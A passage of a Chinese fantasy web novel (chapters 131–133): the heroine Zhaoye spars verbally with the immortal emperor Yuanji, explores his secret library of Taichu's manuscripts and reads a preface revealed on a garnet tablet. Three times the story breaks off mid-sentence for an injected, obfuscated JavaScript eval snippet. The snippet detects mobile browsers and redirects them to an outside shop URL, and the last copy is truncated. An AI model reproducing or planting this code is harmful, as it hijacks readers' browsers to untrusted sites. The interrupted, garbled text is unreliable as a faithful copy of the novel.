我的眼眶不知何时泛起湿意,胸口闷闷地疼着。我知道,只要钩星还在,魔界便不会重蹈被“膣藟”吞噬的覆辙。 他一定是这世间,最强大、最坚韧的魔皇。 待我从翻涌的思绪中抽离时,双脚已不自觉地走到了观礼台上,停在宏音身侧。下方呼喝声震天动地,成钧府第一批学子正在操演,人浪与声浪交织,撞得人胸腔阵阵发麻。 我下意识攥住宏音的衣袖,抬眼向上座望去——那个男人神色淡寂地坐着,脸上干干净净,并无什么“大王八”的墨迹。 看来无悔和桃夭买的墨汁,实在不怎么样。 直到那双对周遭一切兴致缺缺的眼眸转向我时,我咬住下唇,迎上了他的注视。 “宏音,”我低声问,“有‘尘埃’么?” 宏音不动声色地捏了捏我的手心,“嗯,极少,但仍在。” 我定了定神,抬步便向渊寂走去,却被碎蝶横臂拦住。我毫不犹豫地一肘撞开她,恶声道,“让开!否者我要叫宏音收拾你。” “你——狗仗人势!”见识过我拳头的碎蝶只是涨红了脸,咬牙骂了一句。 “你不也是!” “哟,怎么还争起宠来了。”一旁的李正阳不由失笑,“女徒弟收多了,果然麻烦事也多。” 131. 131章 秽道人渊寂 碎蝶本就不拘礼数,当即瞪眼骂道,“关你什么事!你最好睡觉也睁只眼,小心我弄死你!”说罢又转向我,“还有你!” “我天天和宏音睡一处,你连我被子角都摸不着。”我瞪圆眼睛,故意气碎蝶。 女子羞愤至极,清丽的脸颊红得快要滴血,竟一跺脚转身跑了。李正阳大概觉得我不好招惹,朝渊寂拱手一揖,便继续督导操练去了。 我一步一步走近,最终在渊寂身侧停下。静默半晌,我开口问道,“穆青人在哪儿?” “……别太贪心。既要、又要、还要,可不是处世良策。” “我来是告诉你,星允死了。” “无关紧要。”渊寂语气平淡,仿佛在说一片落叶的凋零,“只是有些可惜。我原本想看看,人的贪婪究竟能延伸到何种境地。” 我笑了笑,转身正对渊寂,直视那双情绪稀薄的眼睛。他仍在审视我,像在度量、思忖,或只是单纯地记录。 “照夜,”渊寂忽然开口,声音轻得像羽毛,“昨日有一缕湿润的风,在那根白玉簪上……留下了月羽花的气息。” 我浑身一僵,倏地侧首——那支标识渊寂身份的白玉素簪,正斜斜插在他墨黑的发髻间。 “月羽花的香气很特别,引人怀念。更难得的是,它极其持久。”渊寂缓缓道,目光却落向远处交手的学生,“极端情况下,或许能附着百年之久。” “……你究竟想做什么,秽道人。” 渊寂嘴角极淡地扬了扬,目光仍投在尘土飞扬的练兵场上,“不过是想创造一个新世界罢了。” “新世界?” “嗯。”渊寂的话幽幽散在微风里,好似在说给我听,抑或只是在复述自己的伟大理想,“一个没有杀戮、没有纷争、没有算计、亦没有毁灭的理想世界。” 我没有再追问,也未试图撬开渊寂的嘴。当务之急是找到穆青。显然,渊寂不会轻易吐露他的下落——我越是急切,便越落入其掌中。 “无悔。”正当我凝神思索时,渊寂忽然将不远处的无悔召到身旁,“你与桃夭,还有溟牙,事毕后随南翊回银柳城,听他安排。你们年纪不小了,别再终日嬉游。” 此刻的无悔敛尽了平日那股桀骜,低眉顺眼地应了声,“哦。” “此外,少交些不著调的朋友。成天惹祸胡闹,也该做些正经事了。” “……知道了,姑丈。” “无悔,你和桃夭要小心,这世上还有很多人对鲛人有非分之想。” 无悔一怔,眯着眼睛困惑地望向我,好似在问,这语重心长的口吻是怎么回事。 我恶狠狠回赠了渊寂颇有玩味的视线,两步上前拽了拽无悔的袖子,“我说的话你记住了没?不要轻信任何人——无论他是你师父、好兄弟,还是……” 我顿了顿,声音压低,却字字清晰,“——这位‘姑丈’。” 渊寂支颐盯着我,淡笑一声,“照夜的叮嘱,倒也有些道理。信任虽需漫长的时日浇灌,崩塌却往往只在一瞬。谨慎些总是好的。” 无悔显然未察觉我与渊寂之间那无声对峙的暗流,他更在意的,大概是为何渊寂脸上竟无半点墨迹。枯燥的观摩总算结束了。一行人移至成钧府的议事厅内,几位仙界的大人物商议起昨日未定之事——因玲珑境震荡与红绡林坍塌接连发生,上仙例会中最关键的议题被推迟至今:玄珠位阶,是否该重新排定。 更准确地说,是玄珠首席之位,该由谁接掌。 厅内二十余位上仙各执一词,争论不休。有仍力保星允的,有推举李正阳的,亦有一二人认为,既然此前大铁棘曾胜过星允,此番口碑榜又位列第一,理应由他出任首席。 不大的厅堂内顿时人声鼎沸,喧嚣如市。我不禁暗叹,仙人打起嘴仗来,竟也如此朴实无华——一个个争得面红耳赤、言辞锋利,着实让人对仙家的飘逸想象破灭了几分。 “宏音大人,何以一言不发?”有人将话头抛向一直静默旁观的宏音,语气并不算友善。 宏音神色未动,只平心静气道,“星允大将虽曾败阵,战力却依然卓绝,胜负本是兵家常事,若仅以一战定论,不免武断。正阳仙人出身世家,历来是仙庭中流砥柱,威望深厚,依律晋升一位,倒也合情合理。至于大铁棘,身为后起之秀,前途不可限量,且心怀侠义、深得人心,虽则年轻,却未必不能胜任首席——” 宏音话锋稍顿,转向渊寂,躬身一礼,“然而臣以为,论人品、论出身、论能为,青莲仙人才是最适宜之选。青莲未满百岁便有此等修为,足见天赋卓绝、未来可期。更何况,他在玉山一战立下大功,堪当大任。还请帝君圣裁。” 话音落处,厅内骤然鸦雀无声。片刻,无极仙人忽然出声附议,众仙随即齐齐叩拜,竟无人再提出异议。 等待幻鹊——那假冒穆青的狗东西——前来觐见的间隙,宏音懒得应付一众上前欲禀事的仙官,径直走回我身边,低声道,“回去睡个回笼觉罢。” 我摇摇头,只将额头轻轻抵在宏音胸前。 一旁的无悔不住摇头,“你们两个多少看看场合,那么多上仙在呢。” 宏音一向坦诚,只是一笑,“当没看到即可。” “哼,心思果然缜密。”李正阳踱步近前,重重拍了拍宏音的肩膀,声调里透着几分不甘,“推了星允,又举了青莲,横竖不曾折损帝君的颜面。依先前约定,成钧府交予我执掌。如今六司一厅一府皆具话语权,三垣枢议之中,我也须占得一席。” “三垣枢议?”我抬头,面露疑惑。 无悔忙凑近解释,“就好比人间朝廷的内阁。从前仙界事务尽归鸿珠仙人辖制,实则那几位不过传声筒罢了,于治理无益。所以宏音大人提议效法人界,设三垣枢议,由六司一厅一府主事,再加三位鸿珠仙共同组成,直议仙界要务,对帝君负责。” “呵,好一番算计。”李正阳轻嗤一声,目光却带着复杂的佩服,“如此一举,赋予上仙实权,便弱化了口碑榜的权威——渐使它沦为‘娱乐’、‘消遣’之物。不愧是曾为一城之主的宏音大人,轻描淡写之间,就淡化了银珠、金珠、玄珠乃至鸿珠位阶的含金量。只怕有朝一日,这口碑榜便成了的单纯的战力榜,仅此而已。” 宏音轻轻揉了揉我的后脑勺,笑意温煦,“总不能效仿魔界,事无巨细皆劳魔皇陛下定夺。毕竟魔皇陛下……也没生着八条手臂八条腿。” “说来,魔皇陛下还未出关么?”无悔插话道,“前些日子听原途大人提起,长渊之外那些值守的妖兽,都是自备干粮、自愿轮岗的。就连航行于长烬海上的船只,经过时也须保持肃静。” 我心头微微一震。钩星竟如此受妖兽拥戴么?想起往日死人沟里那些飞禽走兽,拼了命只想混个“魔皇坐骑编号”来炫耀——我此刻似乎有些懂了。 “哼,魔界向来如此。万事倚仗魔皇,万事托付魔皇。”李正阳揉了揉手腕,似笑非笑,“也唯有他们那儿,从未有过什么帝位之争,和睦得……近乎诡异。听闻这位新魔皇的酸雾,比之阿戈里亚斯还要厉害百倍,有机会倒真想见识一番。” 我始终没太明白钩星的雾究竟是怎样的存在。只记得凉沁沁的,裹在身上却像一袭软被,保暖效果不错。 “好了,诸位,准备入席罢。”宏音望向门外,声音放轻,“青莲上仙……即刻便要受封为玄珠首席了。” “话说回来,事关星允大将,怎不见他踪影?”无悔贼兮兮地笑,“该不会又准备给姑丈磕一万个响头去了吧?” 我顺着宏音的视线望去——那个披着穆青形貌、几乎与其别无二致的“幻鹊”,已然步入厅中。 “星允大概……”我收回目光,低声说,“是再也无法磕头了。” 尾巴仍未苏醒,我不敢妄动,只好独自走到操练场边的老树下坐着发呆。不能慌,我得先将眼下的处境理清,再做打算。 其一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574151|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆青下落不明。我敢断定他仍在灵璧城中——若他已脱身,定会第一时间来寻我。可他既不在玲珑境,不在地刑司,也不在宏音能以纯水之术探查到的任何地方。显然,渊寂将他藏了起来,不会让我轻易找到。穆青……究竟会在何处? 其二,渊寂便是秽道人一事,我无法声张。纵然知晓他一直在进行那残忍的试验,将“膣藟”与其他生灵融合,造出十身、百目、千手这些所谓的人造仙——我却拿不出任何确凿证据指认这位仙界帝君。甚至为保护离渊寂太近的宏音,我甚至不能对他坦言。好在,以他那颗足够聪慧的头脑,应当已自行推断出了大半真相。 其三,我该如何告知赤羽,他的妻儿已彻底死去——死在了渊寂的试验之中。 最后,若“膣藟”早已潜入仙界、渗入灵璧城,此处无疑是它最丰美的餐桌。为何……却至今仍未爆发? 是因为煌木留下的结界么?我记得穆青曾说过,那结界虽大半倚仗煌木的仙力,但如此庞大的护障,终究是借自然仙力编织而成。换言之,煌木的仙力只是“针”,引动着天地间纯粹的仙力织就了这张“网”。这确实能在一定程度上禁锢“膣藟”及其造物。 然而,微小如尘蚴,或者百目寄生的那朵花的花粉,是可以穿过结界缝隙的,纵使网再密,以它们那般细微之躯,依旧能悄然渗透。 所以比起结界,灵木才是它最大的威胁。 如今灵木枯亡,此地沦陷不过时间问题。 眼下最要紧的,是尽快找到穆青。否则后续该如何行事,我心中毫无头绪。 渊寂的力量太过诡谲。若他真能禁制仙力……单凭我与尚未苏醒的尾巴,根本无力与之抗衡。 想到这里,心中不安愈发鼓动。我盘算着趁渊寂不在,再去他寝殿搜寻些线索——横竖他知道我定会再去。 说干就干。好在我顶着小八的身份,出入嵊风殿并无阻碍。我悄声潜入内殿时,晨光正透过高窗,在光洁的地面上投下斜斜的格影。室内静极,只有垂落的纱幔随着穿堂风微微起伏。 就在我蹑足向里走时,却看见一道身影伏在屏风边的檀木榻前——是碎蝶。她整个人几乎埋进一堆衣物里,那是渊寂清晨沐浴后换下的里衣。她将脸深深埋入织物中,肩背微微起伏,姿态沉醉而专注,仿佛在汲取什么不可言说的气息。 我僵在原地,一时目瞪口呆。 碎蝶却在这时蓦然抬头——发现了我。她非但不觉得窘迫,反而坦然得令人不解,进而爆出了一句令我意外的话,“我警告你,别想来选天妃,师父身边的位置,只能是我的!” 我哑然失声,只能眼睁睁看着碎蝶将那些衣物紧紧裹起,大摇大摆地转身离去。我还未从“选天妃”三个字的冲击中回神,那股熟悉而诡谲的微风,又一次自我身后悄然袭来。 我猛地转身,几乎是脱口而出,“你到底是什么东西?!总这么鬼鬼祟祟、偷偷摸摸!” 会是尘蚴吗?不,不是,虽然这种变种小虫肉眼不可见,但凝结成形,便一定会有无法抹除的轮廓。 “怎么,自从能与体内的仙力对话、与树木交谈之后……如今连风,也要搭讪了?” 声音几乎贴着耳廓响起。我吓得旋身挥拳,却被一只温热干燥的手轻而易举截住了手腕。 晶盾竟毫无反应! 渊寂不知何时已立在我身后,悄无声息,如影随形。 四周静得只能听到风吹动垂纱幔的簌簌声,我的心脏正在猛烈撞击我的胸口,一股毛骨悚然的感觉沿着我的尾椎骨一点点蔓延到我的头皮,麻痹感几乎要令我忘记呼吸。 渊寂的目光一如往常,缓缓从我脸上掠过,最终停驻在眼中。那眼神带着审视,以及一丝极淡的困惑。 “看样子,你今日很闲。”渊寂松开手,语气平淡,“要跟我走么。” 本能叫嚣着逃离,双脚却像被钉在原地。我几乎是机械地跟着渊寂,走向殿内那方宽大的浴池。 132. 132章 《太愚行记·序》 池水澄澈,映着穹顶投下的微光。渊寂并未抬手,池水却仿佛被无形之力徐徐拨开,露出湿漉漉的白玉台阶,一路延伸至池底。 我攥紧汗湿的掌心,快步跟上,却脚下忽地一滑—— 整个人向后跌去,竟给了走在前方的渊寂一记猝不及防的“滑铲”。 就在我以为后脑要撞上坚硬池沿时,却有一股柔风稳稳托住了我的头颈。 渊寂回首瞥来,嘴角噙着一丝难以捉摸的弧度,伸手将我扶起。 “小心些,照夜。”渊寂声音低缓,意有所指,“血的气味一旦留下,便再难根除。” 又是那扇熟悉的门。 渊寂甚至未曾抬手,门便悄无声息地向内滑开,仿佛有无形的侍者在一旁恭候。恐惧如藤蔓缠裹心神,我下意识拽住渊寂的袖缘,随他穿过门扉,再次来到玲珑境那扇光纹流转的“门”前。 “煌木当年选了许多适宜涵养仙力的地脉节点,用以连接源涡池,供修士修行。”渊寂脚步未停,声音在空旷的廊道中轻缓回荡,“为免奔波劳顿,我将嵊风殿与此处联通,少走些路,也少见些人。” “你要带我去哪儿?”我忍不住问。 渊寂并未回答,只轻轻一笑,拉着我踏入一团看似平平无奇、色泽暗淡的光斑。 脚尖落地的刹那,一股湿热的气息扑面而来。 眼前是一条向下的天然甬道,石壁湿润,渗着细密水珠,在嵌于壁上的萤石微光里泛着幽泽。空气里混杂着泥土与矿物特有的沉厚气味,远处隐约传来潺潺水声,越往下走,暖意愈浓。 “放心。”渊寂的声音在前方响起,平静无波,“吃饱了的猛虎是不会伤人的。” 甬道尽头豁然开朗。 是一处极为开阔的石室。室内整齐排列着无数顶天立地的乌木书架,架上卷帙浩繁,隐隐泛着陈旧纸帛与墨香。此处竟与我曾在归德城地下所见的那间秘室颇有几分相似,却更为明亮宽敞——壁上嵌着数颗硕大的长明珠,柔白的光晕均匀铺洒,将每一寸空间照得清晰而宁静。 石室一侧传来哗哗水响。原来角落里有一洼天然的地热泉池,泉水自石缝间汩汩涌出,热气氤氲。除了书架,室内竟还设有一张简朴的石床、一套石桌石椅,甚至还有一副石制茶具,样样粗砺却洁净。 渊寂行至泉边,取了一壶热水,注入石杯中,递到我面前。 “喝吧。天然的温泉水,无毒无害。”渊寂望着杯中袅袅升起的热汽,淡淡道,“唯一的用处,便是解渴。” “你平时……就在这里干坏事?”我因紧张而口干舌燥,正需一杯水润泽干痒的喉咙。好在天然之水我能辨其清浊,否则纵有十个胆子,我也不敢沾唇。 水温正好,入口甘洌,唯余水之本味。 “这里不合适。”渊寂淡淡瞥了一眼满室书卷,“湿热易令事物腐坏加速,不过……看书罢了。” 我随手抽出架上一册,翻开皆是墨字详录,所载俱是未经修饰的“真实”历史,而非仙庭惯常流传的华美虚言。 “篡改史书……都是你做的?” 渊寂啜了口杯中水,语气平淡得像在说今日天气,“闲来无事,找些消遣。从前刊印受官府严管,修撰起来倒也便利;后来禁令松弛,反倒棘手。索性罢了——横竖这件事本身,也未必重要。”他抬眼,目光沉静,“人总会自行篡改记忆,以贴合自己的臆想。不是么?” “你想掩盖膣藟存在的痕迹,好让试验继续。” 渊寂轻笑一声,走到我身侧,自架上取下一册边缘已泛潮卷曲的古籍,递到我手中。 “太初是个奇怪的人。他踏遍三界每一处边角,试图勘定这世界的真实轮廓,为每一株草、每一类兽、每一片景——乃至每一种‘怪物’命名。” 书封上字迹遒劲,墨色深沁: 《膣藟考源·太初手录》 夫天地未靖之时,幽冥淤浊之地,自生一物。其形如赤绦,柔若无骨,通体披绛色纤毫,似血络外显,故名膣藟——膣者,幽深之窍;藟者,蔓缠之藤。此虫孳于湿暖壤泉,厌燥畏光,常蜷如环,触之则电射而出。 其性贪噬,无口而能融物。凡血肉金石,触其绛毫即化稠浆,浆覆虫躯,渐成胎胞,三日胞破,新虫钻蠕而出。一虫可育百嗣,嗣嗣相吞,代代愈悍。 尤可畏者,其众似有灵犀共脉。万虫如一,分合自如,遇食则群聚如潮,遇险则散若尘埃;或化触手掘土开道,或结密网悬壑捕风。仿佛冥冥中有一魂主千躯,井然不紊。 吾观其害,曾以雷霆击之、寒冰封之、仙剑斩之,皆不能绝。唯见其偶遇地火喷薄或雷击野燎之时,绛毫焦卷,虫群惶惶溃散,终成灰烬。故知此物虽诡,仍属五行之内,自然真火,可涤其秽。 今录此篇,戒示后来,遇膣藟者,勿近勿养,当引天火焚之。盖天地生杀,常寄予至朴之物。 “这是太初亲笔手稿,未曾传世,也无人留意。” 我合上书页,抬眼看渊寂,“为何无人留意?” “若非亲见,你亦不会轻信。不是么,照夜。”渊寂垂眸,指尖拂过纸上那些因潮气而微微晕开的墨迹,语气淡得像在说别人的事,“别过高估量‘人’这等生灵的灵智。多数时候,他们与凭本能或指令行事的膣藟……并无本质不同。” “膣藟……究竟从何而来?” 渊寂转身走向另一排书架,取下一卷厚重的羊皮图轴,小心展开。一幅详尽的三界疆域图呈现在眼前——每一道山脉、每一条河流皆有其名其形,图角依旧落着“太初”的题款。 “这问题,连太初亦未有答案。况且——”渊寂指尖轻点图上某处晦暗的标注,“或许本就不重要。你只需知道,即便强如太初,也阻止不了膣藟的生存。” 那个悬在我唇边的问题几乎要脱口而出:你是否已被寄生?在这密闭的幽室之中,与一个深不可测的敌人独处,生死或许只在一念。尽管此刻,渊寂尚未显露杀戮的獠牙。 “放心罢,照夜。”渊寂一眼洞穿了我的戒备与恐惧,嘴角浮起一丝游刃有余的弧度,“你要明白‘入侵者’与‘客人’的区别。”他抬手,轻轻搭在我肩上。那掌心看似随意,却蕴着令人难以动弹的千钧之力,“礼待宾客,是为基本。我知道你爱看书——这里的古籍,皆是从三界悄然消失、即将化为齑粉的遗存。你大可在此,慢慢看。” 说着,渊寂便自顾自在石桌旁坐下,沉浸于手中书卷。我一时不知如何离开,只得隐在层层书架后,随手抽出那些从未见过的古籍,一页页翻看。 这里大部分书册都零星记载着“膣藟”、“瘴母神”或“无相孽”的踪迹。可以确信的是,在仙力尚未被发掘运用之前,膣藟之灾便已小范围存在,只是往往会自我消弭而已。而三千八百年前,仙力被广泛开发利用后,这类灾祸便开始周期性爆发。至于“瘴母神”与“无相孽”的记载,则出现在距今约一千三百年前——那时,膣藟不知因何分裂为蠕虫与鞭毛两种形态,各自繁衍存续。太初在手札中清晰记述了二者特性,虫形的瘴母神,鞭毛状的无相孽。 令我有些意外的是,这两个名字竟源自民间信奉邪物的教众。那时,面对不可名状的怪物,人们为其命名,甚至供奉祭祀,发展出活人生祭的陋俗。 看到此处,我不禁想起曾与小初探讨“愚民”时的情景,心头沉抑。这世上有太多人,既无洞察真相的慧眼,亦无触碰真相的机缘。很多时候,他们也只是依循本能存活罢了。 一念及此,连“救世”这样的宏愿,都显得有几分荒唐可笑。 可又能如何呢?我望向静坐阅卷的渊寂,心脏一声声撞着发疼的胸骨。 人啊,若不挣扎、不抗击,不为自我争取与守护,便只能沦为他人砧板上的鱼肉。 行至石室最深处,我在堆积的书卷后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576398|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见了一样令人呼吸骤停的东西—— 那块红色的石榴石石板。正是碎蝶从天翮城地下窃走、献予渊寂的那一块。难道里面果真藏着重大秘密?我尝试握紧石板,调动体内仙力注入,却毫无反应——是因为尾巴仍在沉睡么? 无论如何,这东西绝不能留在这里。我将石板塞到后腰,仔细用上衣下摆掩好。 等了不知多久,我小心翼翼地走向渊寂,出声告辞。他单手托腮,饶有兴味地打量着我鼻尖渗出的细汗,半晌才起身道,“走吧。天黑了,你该回去睡了,照夜。” 我如蒙大赦,转身欲走,却忽然被渊寂自身后轻轻揽住肩膀。我身体瞬间僵直如铁,动弹不得。一只温热的手掌顺着我的腰线缓缓上移,抚过后脊,而后——不紧不慢地抽走了那块我欲藏起的石板。 “啧啧,顺手牵羊的本事,是跟青莲学的?” 我猛地挣脱渊寂的桎梏,回身便抢。渊寂却像逗弄幼兽般,故意将手举高,看着我气喘吁吁地蹦跳抢夺,眼底掠过一丝玩味。 “还给我!那是天翮族的遗物!” “……”渊寂忽然低笑一声,单手便制住我双腕。他瞥了眼手中暗红流光的石板,随即,一股无形的力量注入其中——石板竟蓦地亮了起来! 金色的天翮文字如活物般跃入眼帘。 我惊得忘了挣扎,唇舌都有些发木,“你……你也能唤醒石板?你——你是天翮族人?” 渊寂松开手,将石板递还给我,径自负手朝外走去。 “天翮族的图腾是羽,而非月,照夜。拿去看罢。” 我连忙跟上,甚至因怕迷路而攥紧了渊寂玄色衣袍的袖缘。指尖触及那衣料上惯有的暗纹刺绣——羽状的纹理细腻连绵——我才骤然惊悟,自初次注意到渊寂衣饰上的纹样起,每一件袍服上,皆绣着这样的羽迹。 渊寂……他竟是天翮古族的遗民?! “你……你见过太初僊,也见过月羽木……你亲眼目睹了天翮族的覆灭?” “你的问题太多了。”渊寂未回头,声音里听不出情绪,“我虽喜活泼的孩子,但话太多,也惹人烦。”他忽而反手握住我的手腕,瞥了眼我怀中光华渐淡的石板,轻笑道,“若想看,便快些。光……就要散了。” 我一路跌跌撞撞跟着,此刻也顾不得甩开渊寂的手,只慌忙将石板之上涌现的金色文字刻进心底—— 《太愚行记·序》 吾尝以微力开仙道,筑云阶,立三界之序。初志至简,欲令众生借天地之炁,免饥馑、愈伤病,使苦海得筏,寒夜见灯。 然吾力薄矣。 薄如蝉翼,未能止人间寸刃之争; 微若蜉蝣,难消弭同道因仙力相戕之祸。 昔造仙界为舟,欲渡世人,今视之,舟竟成新战场。吾所授之仙力,本为耘耔之器,竟化戮伐之兵。 吾力竭矣。 竭于目睹膣藟吞没故土,而术不能除; 竭于手捧乡井焦土,而法不能复; 竭于千载修行,仍未修成一颗“完整之心”—— 知痛而无法深痛,见悲而只能远悲。 今吾自号“太愚”。 非谦辞,乃实语。 天高几何?不知。 地厚几许?不明。 海深几寻?不晓。 闭目塞听,盲瞽而行,愚不可及。 故自暗而出,重返尘泥。 愿以足履量三界之宽窄,以耳目收众生之哀欢,以残魂试水火之冷暖,以己身碎膣藟之灾祸。 此行无他,惟求一解, 若仙力非解,何物为药? 若天道不言,何人可答? 若长夜永至,何光恒明? 此书所记,乃一愚者,行于长夜,寻星之迹。倘见笑于大方,亦甘之如饴。 ——太愚于月羽木根脉之下仙历二一四三年 133. 133章 无力拼合的太初僊 原来,这并不是那间石榴石密室中的第一本书,而是最后一册。小初写下《太愚行记》的序言,便离开了幽暗的地下书库。临行前,他甚至在月翮壁上留下刻印,嘱托后人好生照料小月羽。此后,他踏遍三界每一寸土地,将所见所闻尽数记入书中。 这本书,原是穆青带回来给我看的。他曾说,待有一日解了我寿限之困,便带我沿着书中所记,看遍这三界所有的山与海、花与树。 很快,随着仙力供给中断,石板上的光华渐次黯淡。我将这块犹带余温的石板重新藏进衣内,抬手抹了把眼泪,望向渊寂,“小青在哪儿?把他还给我,好不好?我愿用任何东西交换……你的秘密,我绝不会说出去。” 渊寂只是牵着我,自九百玲珑境的出口坦然走出。两侧仙军跪拜行礼,他的声音散在夕阳余晖与微风中,“你无需与我交易,也不必威胁、恐吓或欺瞒我,照夜。你曾说,爱是生命的第一因。那么,如今换你向我证明——为了爱,你能做什么;拥有爱,你又能得到什么。” 见到我的那一刻,宏音立即上前一步,躬身行礼,“帝君,南翊将军求见。” 渊寂了然一笑,将我的手腕递到宏音手中,“宣。” 恭敬目送渊寂与笏影的身影消失在源涡池尽头,宏音紧扣我腕间的手才微微一松。方才那短短一瞬,他因紧绷竟将我手腕捏出一圈青红。回息声苑的一路,他面色沉肃,而我自知理亏,亦不敢作声。 门扉才合上,宏音便转身严厉斥责了我——怪我将他往日的教诲抛诸脑后,冲动鲁莽不仅换不来丝毫情报,更可能莫名其妙便将性命搭进去。 “也……也不是全无收获。”我连忙掏出怀中的石榴石板,一边抹泪一边小声道,“至少,小初的宝贝……我抢回来了。” 宏音默然片刻,终是轻叹一声,颓然坐下。他接过石板,将我拉到身旁,“上面写了什么?” 听我将所记内容一一复述,宏音眉头深深锁起。随后他摊开我的掌心,指尖轻轻划过,一边写画,一边梳理起有关小初的时间脉络。 三千八百年前,太初僊发现了仙力的存在,随后与挚友太初宇、里那斯并肩开拓,历经三百载光阴,奠定了仙界与魔界最初的版图。距今三千四百二十年前,仙界正式颁布年历,三界自此通用此历纪年——那便是仙历元年。也正在那时,太初僊对外宣称“薨逝”,实则悄然回归天翮城,隐姓埋名,重新做起了图书管理员。在那段漫长的寂静岁月里,他写下大量手札,并发现、亲手浇灌了扎根于翮山的月羽木。 然而,仙历二一四三年,太初僊留下《太愚行记》的序篇,立起月翮壁,再次离开了天翮城。 事情至此,已透出些许不寻常。宏音那过于敏锐的头脑,瞬间捕捉到了其中的异常,发生在仙历二一二零年前后的那场浩劫——月羽木凋零、怪物肆虐、地火喷发、天翮古族覆灭——当时,太初僊为何不曾现身?直至地火平息,流民重组天翮族后,他才归来,重新浇灌月羽木,而后再度消失。而这一次,失去持续滋养的月羽木未能熬过漫长光阴,不过三百年便彻底枯萎,再未萌发新芽,直到现在。 太初僊,为什么没有出现。 这一刹那,我与宏音仿佛触到了答案的轮廓——小初那时,或许已无力现身。他早在更早的岁月里,便将自身割裂成了五份。换言之,分裂后的他,可能已失去了浇灌月羽木的能力。 “‘未能修成一颗完整的心’……或许正是指此。”宏音沉吟着,指尖无意识轻敲膝头,“他分裂了自身,而后再未能重新合一,直至今日。也就是说,在二一四三年之前,他便因某种缘由,将自己割裂为五份。而从二一二零年至今这一千三百年间,他一直无法将碎片拼凑回——至少能够再次种下月羽木的形态。” 宏音的推断应是准确的。可问题接踵而至,小初为何要分裂自身?分裂之后,又为何执着于重新拼合? 至于我提出的“为何煌木无力浇灌月羽木”,宏音也给出了解释,即便煌木原是太初僊的一部分,但他已拥有独立的肉身。经血肉淬炼、沾染个人印记的仙力,终究与最初那股本源之力有所不同。对于月羽木这般“娇贵”的灵木而言,那或许已非适宜的养分。 宏音指尖轻点我的胸口,声音压低,“换言之……或许只有尾巴所承载的那份‘原初之力’,才能滋养月羽木。” 我心头一阵颓然。眼下谜团环环相扣,未解之事层层堆叠,竟又添新惑。看来,唯有再次叩响小初的门扉,方能从他那里求得答案。 “照夜,别慌。”宏音手抚上我的眉间,轻轻揉开那不自觉蹙起的结。他揽住我的腰,微仰起脸,眼中满是沉静的担忧,“明日我会往寂灭池查探,试着找寻青莲的踪迹。” “你要暗中潜入?万一被察觉……” 宏音摇摇头,唇角勾起一丝淡笑,“傻瓜,岂会那么莽撞。好了,沐浴歇息罢,你看上去倦极了。” 是啊。漫长的一日又将结束,而我依然未能找到穆青。夜雾渐起,光在窗上投下摇晃的影子,仿佛连光阴都变得滞重起来。 次日,我仍深陷梦乡时,便被一阵动静扰醒——无悔又来了。三两下将我从被窝里捞起,胡乱裹上外衣后,这八卦大王向我宣布了一项惊天大消息。仙帝选天妃的消息已昭告三界,凡是女子,皆可前来一试。帝君对天妃的要求极高也极简:貌美、合眼。 无悔一脸郑重地凑近我,说出一句混账话,“照夜,你可千万别去,万一选上了,我还得喊你一声姑母!” 若非刚睡醒神思昏沉,我真想按住这满口胡诌的臭鲛人揍一顿,“你能不能别总扰我清梦……我向来起得迟。” “诶,今日可不是我自作主张。”无悔扬了扬下巴,颇有些得意,“是有人请我带路。哼哼,宏音大人的居处,除了我,可没几人能随意进出——” 我迷迷糊糊跟着无悔出了门,却见云啼正候在门外,身后一列仙军肃然而立,阵仗严整得仿佛要来捉拿要犯。 “拖拖拉拉,啰啰嗦嗦,已经迟了!”云啼不耐地斥了一声,率先跃上飞兽,振翅而起。 无悔朝云啼背影瞪了一眼,扶我上了另一只飞兽,“话说,你的尾巴呢?” “还在睡。他也很忙的。” “……我都要怀疑自己是不是也被你传染了——你的仙力,为何被你当作独立的人格对待?” “因为尾巴就是独立的尾巴。” 不多时,目的地到了。我抬头一看——地刑司! 我心头猛地一跳。无悔却不由分说将我拽了进去。一进门,我便怔住了,今日地刑司竟如市集般热闹,参观者络绎不绝,简直匪夷所思。无悔拉着我混入队尾,四周低语窃窃,断续飘入耳中。 听了片刻,我才恍然,原是宏音提议,借此次上仙例会暨成钧府成立之机,进行一次“警示教育”。通过参观地刑司的砺魂崖、束仙台乃至寂灭池,剖析雷枢等人的悖逆之行,以儆效尤。 参观者不仅有众仙,还有成钧府学子。不过这些学生只能在砺魂崖远观,听人讲述寂灭池那可怖的景象——那极致的高热,已超越肉身感知的极限,寻常人只能本能地感到刺骨冰寒。 至此我方恍然大悟,宏音为光明正大探查寂灭池,竟想出这般对策。 而这并非唯一目的。 身旁有人压着嗓子窸窣议论: “宏音大人当真手段了得,上任方几日,便已成帝君心腹……” “这是要效法人间,为帝君集权呐。” “正是!将仙界权柄由倚仗仙法战力,转为帝君亲授——宏音大人,俨然已是帝权的代行之人。” “哼,玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 